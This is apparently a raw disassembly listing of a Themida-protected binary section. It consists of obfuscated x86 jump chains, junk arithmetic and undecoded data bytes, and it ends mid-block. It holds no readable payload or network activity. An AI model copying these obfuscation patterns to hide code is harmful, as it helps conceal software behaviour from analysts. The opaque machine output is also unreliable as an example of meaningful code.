		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5519D9
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFF6533h, 6ABB951h, 0D9F75500h, 0C181D1F7h, 212561D6h
		dd 98E9CB01h, 5000028h,	6BE908E4h, 3358C301h, 1C31241Ch
		dd 241C3324h, 8524248Bh, 0F8E99CC8h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D2F3:				; CODE XREF: Themida_:005656B6j
		xor	cl, dl
		pop	edx
		push	eax
		mov	ah, 36h
		xor	ah, 0BDh
		jmp	loc_554CC7
; ---------------------------------------------------------------------------

loc_55D301:				; CODE XREF: Themida_:00553068j
		inc	edi
		neg	edi
		jmp	loc_553937
; ---------------------------------------------------------------------------
		db 0BEh, 96h, 1
		dd 0DEF74C67h, 0C85DEE81h, 0F731A71Ch, 0E92434FFh, 0FFFF9C2Dh
		dd 8B52C680h, 0C4812404h, 4, 205AF700h,	2434FFF8h, 0FFA458E9h
		dd 41ADE9FFh, 0E951FFFFh, 3F0Dh
; ---------------------------------------------------------------------------

loc_55D344:				; CODE XREF: Themida_:00564241j
		push	1
		push	dword ptr [esp]
		jmp	loc_554454
; ---------------------------------------------------------------------------
		db 89h,	0D1h, 5Ah
		dd 1DE95A5Eh
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D35B:				; CODE XREF: Themida_:005617FEj
		mov	ebp, 45170AC1h
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55239A
; ---------------------------------------------------------------------------

loc_55D385:				; CODE XREF: Themida_:00557EB9j
		sub	ebx, 6D154B37h
		add	ebx, 0FFFFFFFFh
		sub	ebx, 0ED005132h
		add	eax, ebx
		pop	ebx
		jmp	loc_558B2A
; ---------------------------------------------------------------------------
		db 89h
		dd 0E954241Ch, 5375h, 59B3C281h, 0C281480Ah, 5ADD0941h
		dd 75E9564Ah, 5300004Ah, 42474FFh, 24048F5Bh, 8124248Bh
		dd 0BB6FB3C1h, 0EFF1E952h, 0F789FFFFh, 31DF68h,	6FA0E900h
		dd 0F781FFFFh, 7E9B1D4Bh, 16F7E781h, 0C7812EE7h, 0F8ED1249h
		dd 815FFA31h, 0E6AA6FF2h, 17C381BAh, 1786037h, 17EB81D3h
		dd 0E9786037h, 3F46h
; ---------------------------------------------------------------------------

loc_55D40C:				; CODE XREF: Themida_:00561C4Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		jmp	loc_55B2F9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 616C9505h, 30780542h,	960568FFh, 168C523h
		dd 23962DF8h, 0DE968C5h, 29000020h, 0B876E9DAh,	0FF5DFFFFh
		dd 56582434h, 0C6815E54h, 4, 0E904C683h, 0FFFFF59Ch, 81E28952h
		dd 4C2h, 901CE900h, 0E2800000h,	1CE280B8h, 0E901EA80h
		dd 0FFFFC554h, 0B9240C89h, 2, 0A2E9CD89h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55D487:				; CODE XREF: Themida_:0055A5C1j
		mov	[esp], ebx
		push	eax
		jmp	loc_558113
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0C38104C4h, 4, 41B668h, 242C8900h, 1B07B951h
		dd 0B8504A21h, 690A7BC0h, 0FFFFFF05h, 8D1BE9FFh, 0D4F6FFFFh
		dd 112DE9h, 24148900h, 6806855h, 0E95D6C1Dh, 40EEh, 0C8B5966h
		dd 4C48124h, 5B000000h,	0ACBE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D4E1:				; CODE XREF: Themida_:005647A4j
		pop	esp
		not	ebp
		sub	ebp, 0A8CCAA0Dh
		jmp	loc_56333A
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C4h, 0D59EE924h, 0E289FFFFh, 39168h, 243C8900h
		dd 1B68B951h, 81496928h, 0E0418DC9h, 15C1815Fh,	898017A4h
		dd 0C28159CFh, 429D2693h, 0EA81FA01h, 429D2693h, 4B8505Fh
		dd 1000000h, 0B5E958C2h, 66000089h, 27BF6657h, 0D7F7666Dh
		dd 88F78166h, 0C7816648h, 9662E04h, 183FE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D552:				; CODE XREF: Themida_:0055E0D6j
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, 7753923h
		jmp	loc_55283E
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 332D68h, 0C06E900h, 0E9810000h, 7CBD667Dh, 240C8758h
		dd 6290E95Ch, 0E957FFFFh, 50EFh, 3DBAE981h, 6C68590Ah
		dd 0E9000021h, 0FFFF50C4h
; ---------------------------------------------------------------------------

loc_55D59C:				; CODE XREF: Themida_:0055F03Aj
		mov	edi, 4
		jmp	loc_56045F
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 3178E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D5AD:				; CODE XREF: Themida_:00562DA7j
		and	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0FDC7200h
		xor	ebp, 0F5238904h
		add	ebx, ebp
		pop	ebp
		sub	eax, 70652E0Ch
		sub	eax, 723E4759h
		jmp	loc_55619B
; ---------------------------------------------------------------------------
byte_55D5D3	db 0ADh			; DATA XREF: Themida_:0055132Co
		dd 0FFDDA2E9h, 2A21BDFFh, 0EE014FB6h, 24148B5Dh, 4C481h
		dd 68580000h, 22F9h, 0FF243489h, 34FF2434h, 3C99E924h
		dd 0F2810000h, 345B3A9Ch, 0DFB2EA81h, 0D329ADDCh, 0FFAF0CE9h
		dd 24048FFFh, 6624248Bh, 9C240CD3h, 0FF3ECAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D621:				; CODE XREF: Themida_:005543BBj
		mov	ebp, edx
		pop	edx
		jmp	loc_55ADE1
; ---------------------------------------------------------------------------
aXasasz3	db 'X─И─Иz3',0
		align 2

loc_55D632:				; CODE XREF: Themida_:00564A74j
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 40B235D4h
		and	ebp, 32641834h
		and	ebp, 21AF35E6h
		inc	ebp
		not	ebp
		and	ebp, 124798Dh
		xor	ebp, 104698Ch
		add	eax, ebp
		pop	ebp
		push	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_566150
; ---------------------------------------------------------------------------

loc_55D673:				; CODE XREF: Themida_:005557D4j
		sub	ebx, eax
		push	ecx
		mov	ecx, 417219A9h
		sub	ebx, ecx
		jmp	loc_55A42A
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 83243C8Bh, 0DA2904C4h, 81C2015Bh, 54049EC2h,	4EC832Ch
		dd 0FFA666E9h, 8CC280FFh, 5A66D120h, 809AB450h,	0DCF6FAE4h
		dd 8005E4C0h, 0EC8074ECh, 84F480FEh, 8058E120h,	0F18051E9h
		dd 8BC828CCh, 0C481240Ch, 4, 852C7E2Ch,	0FEE9F800h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D6D7:				; CODE XREF: Themida_:005519ADj
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_558AEC
		push	6753h
		mov	[esp], esi
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5596E1
; ---------------------------------------------------------------------------
		dw 0C89h
aVr0pssl	db '$VR╨',8,'0psИl!',0
		db 0
; ---------------------------------------------------------------------------

loc_55D70D:				; CODE XREF: Themida_:00564DC4j
		push	362C2CF4h
		pop	ebp
		shl	ebp, 1
		add	ebp, 0F98BC503h
		mov	esi, ebp
		pop	ebp
		sub	esi, 0FFFFFFFFh
		inc	esi
		xor	esi, 224936F8h
		jmp	loc_557041
; ---------------------------------------------------------------------------
byte_55D72D	db 0F6h, 1Ch, 24h	; DATA XREF: Themida_:00551444o
		dd 3DB5E99Ch, 0E289FFFFh, 4C281h, 89E90000h, 0BEFFFFB9h
		dd 719906FCh, 0E903E6C1h, 0FFFFC759h, 0B164D9B8h, 58C10143h
		dd 4DBAF181h, 3CE963C1h, 8B000047h, 0E956243Ch,	0FFFF454Dh
		dd 0FF3D7AE9h, 0A4C7BEFFh, 0F589646Ch, 0C635E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D77E:				; CODE XREF: Themida_:00564CD5j
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_555326
; ---------------------------------------------------------------------------
		dw 4481h
		dd 63A20424h, 440144E9h, 0AAE90424h, 47FFFF8Eh,	11FEF781h
		dd 0FA297617h, 0E9D7895Fh, 5FEh, 1C8B0303h, 0E1895124h
		dd 4C181h, 0BD550000h, 729C53A6h, 0FFEF21E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D7D9:				; CODE XREF: Themida_:00555316j
		shl	edx, 1
		sub	esp, 4
		jmp	loc_5579C0
; ---------------------------------------------------------------------------
		db 52h
		dd 0D96B95BAh, 16B8E929h, 0C0830000h, 24048704h, 88BCE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D7F9:				; CODE XREF: Themida_:005666EAj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55DA33
; ---------------------------------------------------------------------------

loc_55D802:				; CODE XREF: Themida_:00557D5Fj
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_559F8D
; ---------------------------------------------------------------------------
byte_55D80F	db 66h			; DATA XREF: Themida_:00551330o
		dd 56240C8Bh, 0F3E9E689h, 52000006h, 0BF1B88BAh, 7EAC127h
		dd 1E0CE9h, 0E9525900h,	0FFFFD9DEh, 24148B66h, 2C481h
		dd 0F6800000h, 2434E9BEh, 0E95E0000h, 0FFFF6A1Fh
; ---------------------------------------------------------------------------

loc_55D848:				; CODE XREF: Themida_:00552211j
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 64A174E0h
		shr	eax, 4
		jmp	loc_558165
; ---------------------------------------------------------------------------
byte_55D861	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055142Co
		dd 1058669Dh, 0E99C2404h, 0FFFF3C7Bh, 0C281E289h, 4, 4EA81h
		dd 14870000h, 0B4AAE924h, 815FFFFFh, 0A5C2CC3h,	1EBD5567h
		dd 0C14C5400h, 0B85005E5h, 10701052h, 8158C509h, 0FC5CF1C5h
		dd 0E9EB2995h, 0FFFF4024h, 33241431h, 8CE92414h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D8B7:				; CODE XREF: Themida_:005541F4j
		push	7A4C4B07h
		pop	esi
		inc	esi
		add	esi, 85B3B4FCh
		jmp	loc_562F8F
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0CEh
		dd 4D2A3D96h, 17F5B850h, 0C2E96091h, 0BEFFFFF6h, 548D5F96h
		dd 840BF57h, 0FE2138E4h, 0F5F6815Fh, 525EB078h,	0FF63C5E9h
		dd 5300BFFFh, 0FA017683h, 0FCFCE95Fh, 48FFFFFh,	0AFEAE924h
		dd 0C781FFFFh, 4, 4B850h, 0C7010000h, 8124048Bh, 4C4h
		dd 243C3300h, 0FFD996E9h, 0B72A2DFFh, 0C131B99Eh, 4E1C158h
		dd 0F181D9F7h, 440D1974h, 5759C801h, 2BFh, 58A6E900h, 0EF010000h
		dd 0FF4FF3E9h, 4C483FFh, 0E9241C33h, 0FFFFEAA2h, 3B2EEB81h
		dd 0C1438486h, 0D3F702E3h, 6863E953h, 1C890000h, 0ABBE5624h
		dd 81036720h, 1EEh, 6BCDE900h, 0B9510000h, 16CA2631h, 8FE9CD01h
		dd 81FFFFC9h, 0F3F4CDC5h, 941EE9BDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D99A:				; CODE XREF: Themida_:00564937j
		add	esp, 4
		shl	bh, 3
		push	edx
		jmp	loc_566C70
; ---------------------------------------------------------------------------

loc_55D9A9:				; CODE XREF: Themida_:00565D99j
		sub	ecx, 0C803E51h
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_566ABE
; ---------------------------------------------------------------------------

loc_55D9BE:				; CODE XREF: Themida_:00554B23j
		add	edi, 4
		jmp	loc_5567CF
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 27B95155h, 8965901Dh, 6BE959CDh, 5500006Eh, 697462BDh
		dd 61DFE917h
		db 2 dup(0)
word_55D9E6	dw 1CF7h		; DATA XREF: Themida_:005513ACo
		dd 0FCE99C24h
		db 3Ah,	2 dup(0FFh)
byte_55D9EF	db 66h			; DATA XREF: Themida_:00551430o
		dd 68240C8Bh, 6A87h, 0E9240489h, 8EABh,	241C8B66h, 2C481h
		dd 0E9520000h, 0FFFFC4E4h, 0F02C581h, 0C5291547h, 0F02ED81h
		dd 55581547h, 0A7240481h, 5A581254h, 54A7EA81h,	97E95812h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DA33:				; CODE XREF: Themida_:0055D7FDj
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	eax, 18h
		xor	eax, ecx
		push	7384h
		jmp	loc_55EED9
; ---------------------------------------------------------------------------

loc_55DA4E:				; CODE XREF: Themida_:0055197Dj
		xor	eax, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_557359
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0FF2434FFh, 48B2434h, 4C48324h, 4C481h, 4B680000h
		dd 0E9000012h, 5852h
dword_55DA7C	dd 0EA368h, 241C8900h, 7E668h, 24148900h, 4E714E68h, 2434FF75h
					; DATA XREF: Themida_:005513B8o
		dd 4C4815Ah, 53000000h,	900C3CBBh, 97EB8112h, 81725A39h
		dd 0BBBA84F3h, 0FFDA21A2h, 0E95B2434h, 0FFFFE261h, 4C481h
		dd 4EE90000h, 42FFFFFBh, 67F7EA81h, 0C14A6F71h,	0F28104E2h
		dd 0BBA0AF12h, 515AD001h, 8151C189h, 38A82404h,	0ACE91830h
		dd 0F7FFFFB3h, 8C181D9h, 31B56ADAh, 240C8BCDh, 8104C483h
		dd 415BD2CDh, 0ED81452Bh, 3FA43FAAh, 535DEF29h,	0FB2B22BBh
		dd 81DBF71Ch, 22C65FF3h, 0B4F6E9BBh, 6853FFFFh,	51F329A3h
		dd 0FF9159E9h, 2FE95EFFh
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DB2B:				; CODE XREF: Themida_:0055168Bj
		xor	esi, 5F6F11B8h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_561117
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 0FF3A4FE9h, 1451B9FFh, 0CA2947A4h, 0DC28159h
		dd 8104CB4Bh, 36717C2h,	0DB64E91Ah, 0EE83FFFFh,	0BD555701h
		dd 3EC644E3h, 0FFB332E9h, 2414F7FFh, 58B3E9h, 24048F00h
		dd 72EC68h, 4766E900h, 0C6310000h, 98E95358h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DB93:				; CODE XREF: Themida_:00553FB3j
		push	edi
		push	esp
		pop	edi
		jmp	loc_553CEE
; ---------------------------------------------------------------------------
		db 0BEh
		dd 69191F69h, 1C681h, 0E6C10000h, 0ACF68102h, 81A4647Dh
		dd 520EABC7h, 32EF817Bh, 1761554h, 32C781F7h, 81761554h
		dd 520EABEFh, 0BA525E7Bh, 4, 33FCC781h,	0ACE92EB1h, 5C000037h
		dd 51241C89h, 0D1F611B1h, 0FFEA46E9h, 5BD800FFh, 7E8068h
		dd 0A083E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DBF6:				; CODE XREF: Themida_:00562DC2j
		pop	ebp
		push	edx
		mov	edx, 0FF89A774h
		jmp	loc_555107
; ---------------------------------------------------------------------------

loc_55DC02:				; CODE XREF: Themida_:0055652Cj
		add	edi, 3506BF26h
		and	edx, edi
		jmp	loc_554236
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FF417FE9h, 2434FFFFh, 4C4835Fh, 0E80EA81h, 0EA296CCAh
		dd 0E80C281h, 0EA816CCAh, 3D79083Ch, 81242C8Bh,	4C4h, 0E9C20100h
		dd 194Fh
; ---------------------------------------------------------------------------

loc_55DC40:				; CODE XREF: Themida_:005576F0j
		xor	ecx, [esp]
		pop	esp
		jmp	loc_563AD6
; ---------------------------------------------------------------------------

loc_55DC49:				; CODE XREF: Themida_:00559346j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_562101
; ---------------------------------------------------------------------------
		db 66h
		dd 0B0240489h, 66C18812h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 2
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_560CED
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 7DDD9804h, 506A68h, 24148900h, 0C61FA5BAh, 7E2C12Ch
		dd 86FE9h, 0AEC38100h, 0E92BC73Fh, 1525h, 6851E089h, 144E3B0Dh
		dd 2FB85059h, 5728170Eh, 11768h, 6E50E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DCC2:				; CODE XREF: Themida_:00558B82j
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_555CE0
; ---------------------------------------------------------------------------

loc_55DCDE:				; CODE XREF: Themida_:00557952j
		sub	edi, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_556847
; ---------------------------------------------------------------------------
		dd 0E981F929h, 4C784257h, 8784E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DD06:				; CODE XREF: Themida_:0055292Bj
		xor	ecx, edx
		xor	edx, ecx
		not	ecx
		jmp	loc_557E42
; ---------------------------------------------------------------------------

loc_55DD11:				; CODE XREF: Themida_:00557A99j
		or	eax, 61314993h
		shr	eax, 2
		jmp	loc_55405D
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24040024h, 37C1E99Ch, 2C89FFFFh, 51E58924h, 4929DAB9h
		dd 0E9814144h, 75523789h, 7FFDE181h, 0D9F70C33h, 4AB6C981h
		dd 93E91B20h, 81FFFFDEh, 32E723C2h, 0D6895636h,	0E9F28952h
		dd 0FFFFF5F1h
; ---------------------------------------------------------------------------

loc_55DD60:				; CODE XREF: Themida_:00551E9Fj
		pop	bx
		sub	al, dh
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	cl, 0A4h
		shr	cl, 4
		push	ebx
		mov	bl, 89h
		inc	bl
		inc	bl
		and	bl, 9Ch
		sub	bl, 0CDh
		push	edx
		mov	dh, 0DEh
		jmp	loc_557BBE
; ---------------------------------------------------------------------------

loc_55DD88:				; CODE XREF: Themida_:00562E1Cj
		inc	edx
		jmp	loc_563EDF
; ---------------------------------------------------------------------------

loc_55DD8E:				; CODE XREF: Themida_:00562AABj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ecx
		mov	ecx, 54DF18D5h
		jmp	loc_55CD0D
; ---------------------------------------------------------------------------

loc_55DDA4:				; CODE XREF: Themida_:0055B121j
		add	dword ptr [esp], 708870D1h
		pop	edi
		jmp	loc_556459
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 81h
		dd 4C3h, 445AE900h, 815A0000h, 15196EF7h, 0E9D7F758h, 0FFFF5953h
		dd 0BE56EB01h, 91E3F32h, 746FEE81h, 0F4E95E4Fh,	68000036h
		dd 560Eh, 0E9241489h, 47B0h, 39BA525Ah,	1120C30h, 0AA055AD0h
		dd 1700D5Ah, 2F75E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DE02:				; CODE XREF: Themida_:00562EFCj
		xor	ecx, [esp]
		jmp	loc_56076E
; ---------------------------------------------------------------------------
		dw 0FF57h
		dd 5F042474h, 5C24048Fh, 2404FF66h, 36CDE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DE1E:				; CODE XREF: Themida_:00552405j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55F1F9
; ---------------------------------------------------------------------------

loc_55DE32:				; CODE XREF: Themida_:005583AEj
		mov	ebp, 151AD791h
		jmp	loc_55E525
; ---------------------------------------------------------------------------

loc_55DE3C:				; CODE XREF: Themida_:00559153j
		xchg	edx, ebx
		add	ebx, 9E12407h
		push	ebp
		mov	ebp, 0FB8518C4h
		jmp	loc_55E63D
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 0CAE90000h, 5AFFFFFCh, 0FFF72BE9h, 4C083FFh
		dd 5C240487h, 847CE9h, 25016800h, 815D4E9Eh, 2239FEDh
		dd 9602E955h, 6ABEFFFFh, 81782A5Dh, 3F04246Ch, 142E175h
		dd 81042474h, 3F042444h, 0FF42E175h, 835E2434h,	0B95104C4h
		dd 362E07C4h, 4244C29h,	242C8159h, 254419A2h, 29240481h
		dd 0E935F239h, 8B4Ch, 0E9241C33h, 2028h
; ---------------------------------------------------------------------------

loc_55DEC4:				; CODE XREF: Themida_:005619F9j
		shl	edi, 7
		dec	edi
		push	ecx
		mov	ecx, 578D7587h
		dec	ecx
		jmp	loc_559301
; ---------------------------------------------------------------------------

loc_55DED4:				; CODE XREF: Themida_:00553B57j
		xchg	ebp, edx
		jmp	loc_55A836
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 6C44E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DEE6:				; CODE XREF: Themida_:0055A458j
		pop	esp
		sub	eax, edx
		sub	eax, 2A9B765Bh
		add	eax, 0EA84CF7h
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_55CFE0
; ---------------------------------------------------------------------------
		db 59h
		dd 8BD8295Eh, 0C483241Ch, 9CF7E904h, 0BB53FFFFh, 781964F0h
		dd 6933C381h, 0CEE938CDh, 8300002Ch, 0B95104C4h, 2, 0FF7274E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DF2D:				; CODE XREF: Themida_:00558399j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_556424
; ---------------------------------------------------------------------------

loc_55DF3F:				; CODE XREF: Themida_:00563528j
		add	al, 3Dh
		sub	al, bl
		sub	al, 3Dh
		pop	ebx
		xor	bl, al
		movzx	eax, al
		jmp	loc_560F2C
; ---------------------------------------------------------------------------
		dd 8104C483h, 0A041A8C3h, 59BF5744h, 813D7567h,	0D2131BC7h
		dd 42F7812Fh, 31157148h, 45E95FFBh, 31FFFF8Fh, 0D1E9241Ch
		dd 68000089h, 55E2h, 0E9242489h, 0FFFF4539h, 38E7E954h
		dd 8DB2FFFFh, 2883EA80h, 83C280C2h, 0FFE493E9h,	4E7C1FFh
		dd 8763E9h, 0E9DC0000h,	5A39h, 0EC835166h, 24048904h, 0FFAA0BE9h
		dd 24148BFFh
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebp, 44F83F33h
		add	ebp, edx
		add	ebp, 44F83F33h
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_556150
; ---------------------------------------------------------------------------
aIHo9		db '┴<$hO9',0
		dw 8900h
		dd 8CE92424h, 8900001Fh, 460DE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E002:				; CODE XREF: Themida_:0055C465j
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	bl, 95h
		jmp	loc_5653C9
; ---------------------------------------------------------------------------
		dd 5A82BB53h, 81432B6Ch, 6C5A87F3h, 5BDA892Bh, 875AD601h
		dd 248B2434h, 0EDE3E924h, 0E953FFFFh, 27B0h, 0FF6DEB35h
		dd 3646E90Dh, 34BE0000h, 46474325h, 0AF82EE81h,	0F5292F7Bh
		dd 19D4E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E051:				; CODE XREF: Themida_:00555B3Dj
		mov	esp, [esp]
		imul	ecx
		push	esi
		push	729Fh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_55AC74
; ---------------------------------------------------------------------------

loc_55E06D:				; CODE XREF: Themida_:00560DEEj
		add	esp, 4
		mov	ebp, eax
		pop	eax
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Ah
		push	30FAh
		mov	[esp], ebp
		push	eax
		jmp	loc_56485C
; ---------------------------------------------------------------------------
		dw 0C580h
		dd 0A26850FFh, 8900004Eh, 0BCB62414h, 0E9FFC680h, 0FFFF4609h
		dd 4C481h, 1C330000h, 241C3124h, 0E9241C33h, 0FFFFA99Fh
; ---------------------------------------------------------------------------

loc_55E0B4:				; CODE XREF: Themida_:0055F26Fj
		xor	eax, edx
		pop	edx
		push	1353h
		mov	[esp], edi
		jmp	loc_562EA5
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFF9B1Bh
; ---------------------------------------------------------------------------

loc_55E0CC:				; CODE XREF: Themida_:0056134Dj
		xor	dword ptr [ecx], 7A1F4A49h
		mov	ecx, [esp]
		push	eax
		jmp	loc_55D552
; ---------------------------------------------------------------------------

loc_55E0DB:				; CODE XREF: Themida_:0055B457j
		mov	esi, [esp]
		push	ebp
		jmp	loc_555028
; ---------------------------------------------------------------------------

loc_55E0E4:				; CODE XREF: Themida_:00566230j
		add	edx, 4
		sub	edx, 4
		sub	esp, 4
		jmp	loc_554BC5
; ---------------------------------------------------------------------------
		db 5Ah,	66h, 8Bh
		dd 0C483240Ch, 0FFF83002h, 815B2434h, 4C4h, 0A3A3E900h
		dd 565AFFFFh, 0FF82F0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E115:				; CODE XREF: Themida_:0055714Dj
		xor	edi, 0FD0B0654h
		and	edx, edi
		pop	edi
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 14076502h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, ebp
		jmp	loc_560399
; ---------------------------------------------------------------------------
		db 66h
		dd 2214E951h, 815B0000h, 4C6h, 74FF5600h, 34FF0424h, 8958E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E15A:				; CODE XREF: Themida_:005550BFj
		push	3BB3h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55BA4D
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0FFB504E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E171:				; CODE XREF: Themida_:00565F2Ej
		sub	edx, 0E5806E9h
		jmp	loc_566683
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFA1B6h, 4C681h, 34870000h, 24248B24h
		dd 0F2114BBDh, 8BDD2960h, 0C481241Ch, 4, 0FF74FEE9h, 2E4C0FFh
		dd 8006ECC0h, 0ACE9D8C4h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E1B3:				; CODE XREF: Themida_:0055E9D9j
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 70D54C14h
		shl	edi, 7
		shr	edi, 4
		shr	edi, 3
		shr	edi, 1
		xor	edi, 5DAAC75h
		jmp	loc_562408
; ---------------------------------------------------------------------------

loc_55E1D6:				; CODE XREF: Themida_:0055E395j
		push	dword ptr [esp]
		pop	ebx
		push	esi
		jmp	loc_55219D
; ---------------------------------------------------------------------------
		dd 5C242C33h, 0E9241C89h, 3B20h
; ---------------------------------------------------------------------------

loc_55E1EC:				; CODE XREF: Themida_:00563EA3j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3659565Dh
		sub	eax, edx
		pop	edx
		pop	edi
		push	ebx
		jmp	loc_55980F
; ---------------------------------------------------------------------------

loc_55E201:				; CODE XREF: Themida_:00554778j
		mov	eax, esp
		push	esi
		mov	esi, 6903E5h
		not	esi
		or	esi, 21D04BF3h
		jmp	loc_551EA4
; ---------------------------------------------------------------------------

loc_55E216:				; CODE XREF: Themida_:00564211j
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_562651
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 7D3012BBh, 4605BE47h, 0DE311469h,	0FF4172E9h
		dd 2C083FFh, 7FF3E950h,	5C290000h, 0E95B0424h, 0FFFF329Fh
		dd 4C6815Eh, 0E914D321h, 0FFFF9D2Eh, 81241C89h,	4ECh, 1069E900h
		dd 5480000h, 48063EE9h,	0FFA09CE9h, 69C781FFh, 959C8E0h
		dd 6FD5E9FAh, 15D0000h,	348759CEh, 3BC9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E28A:				; CODE XREF: Themida_:005567CAj
		and	eax, 223148E2h
		inc	eax
		xor	eax, 0BA24DB5h
		or	eax, 69251274h
		sub	eax, 6B9D170Bh
		jmp	loc_55FBB1
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 505504C4h, 1B7626B8h, 2C05406Eh, 0E91C3207h
